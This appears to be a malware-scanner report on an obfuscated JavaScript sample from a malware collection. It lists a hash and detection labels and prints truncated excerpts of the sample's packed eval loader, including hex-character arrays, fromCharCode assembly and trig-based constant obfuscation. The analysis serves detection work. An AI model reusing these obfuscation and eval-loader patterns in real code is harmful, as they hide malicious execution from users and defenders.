Suspicious ^80% javascript-malware-collection Download

20151214_4ede0075418eeec97fe1d29b0dc05fb4.js

obfuscated eval execution

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-2565ed33accd92ece02dc31b27a9421a293527a280eadde5ba028e0e2b517839d23

Evidence

Single-line packed JavaScript loader profile lines 1–2

1var u=new Array();
2D(u,"\x51");D(u,"\x6b");D(u,"\x40");D(u,"\x74");D(u,"\x58");D(u,"\x3e");D(u,"\x73");D(u,"\x26");D(u,"\x51");D(u,"\x24");D(u,"\x36");D(u,"\x2c");D(u,"\x4c");D(u,"\x2d");D(u,"\x68");D(u,"\x58");D(u,"\x30");D(u,"\x4f");D(u,"\x22");D(u,"\x78");D(u,"\x2b");D(u,"\x3c");D(u,"\x3e");D(u,"\x76");D(u,"\x2e");D(u,"\x4c");D(u,"\x43");D(u,"\x4a");D(u,"\x35");D(u,"\x7a");D(u,"\x21");D(u,"\x32");D(u,"\x5a");D(u,"\x75");D(u,"\x59");D(u,"\x66");D(u,"\x76");D(u,"\x2a");D(u,"\x60");D(u,"\x63");D(u,"\x74");D(u,"\x2e");D(u,"\x54");D(u,"\x50");D(u,"\x59");D(u,"\x4a");D(u,"\x26");D(u,"\x26");D(u,"\x5b");D(u,"\x30");D(u,"\x3e");D(u,"\x2d");D(u,"\x3a");D(u, …

Builds characters with String.fromCharCode line 4

4:254… 42],u[43],u[44],u[45],u[46],u[47],u[48],u[49],u[50],u[51],u[52],String.fromCharCode(10),u[53],u[54],u[55],u[56],u[57],u[58],u[59],u[60],u[61],u[62],u[63],u[64],u[65],String.fromCharCode(13),u[66],u[67],u[68],u[6 …

Calls JavaScript toString conversion method lines 6–8

6:35… gzDjjM,AoMxorZj){hEqo=parseInt(TsILvMnHthY,ZeyozVIgzDjjM);VSPag=hEqo.toString(AoMxorZj);return VSPag;}function DahUBaPuxBIVwYL(OdLiQCNdSZWWhTBzT,NjJwhLzMEUJNVSrfZAVSfHvZZyXimnMtUs,omRNavtjnREFtBUixhTrUoRELlSetBCxftV){eval(OdLiQCNdSZWWhTBzT)}
7function DahUBaPuxBIVwYL(OdLiQCNdSZWWhTBzT){eval(OdLiQCNdSZWWhTBzT)}
8function XeOBtZUJicWHnzSyzRnsaGrtdayOdSRNGslVtFGWvuakW …

Calls JavaScript split() lines 9–11

9:155… QeVAlnxnhXzYxX);}
10function KolrgvULFRN(iQLJuGwg,VrIrZi){return iQLJuGwg.split(VrIrZi)}
11var O=[];O[0]=u[711];O[1]=u[712];O[2]=u[713];O[3]=u[714];O[4]=u[715];O[5]=u[716];O[6]=u[717];O[7]=u[718];O[8]=u[719];O[9]=u[720];O[10]=u[721];O[11]=u[722];O[12]=u[723];O[13]=u[724];O[14]=u[725];O[15]= …

Numeric sine-square obfuscation expression lines 13–15

13:13… ,I];
14var EySZdNgly=[];
15function NxhGIEBjltimmwZaB(FVnLV){UIOZFrsezGr= u[1785];for(CQtnAxCyJwf=Math.round((Math.pow(Math.sin(971), 2) + Math.pow(Math.cos(971), 2) - 1)); CQtnAxCyJwf < (841+975)/908; CQtnAxCyJwf++) {EySZdNgly[CQtnAxCyJwf]=Math.round((Math.pow(Math.sin(771), 2) + Math.pow(Math.cos(771), 2) - 1)); while(true) { if(EySZdNgly[CQtnAxCyJwf] > FVnLV[CQtnAxCyJwf].length-(481+39)/520) { break; } if (FqBlDnu(vvSUh(FVnLV[CQtnAxCyJwf][EySZdNgly[CQtnAxCyJwf]],(16349+92 …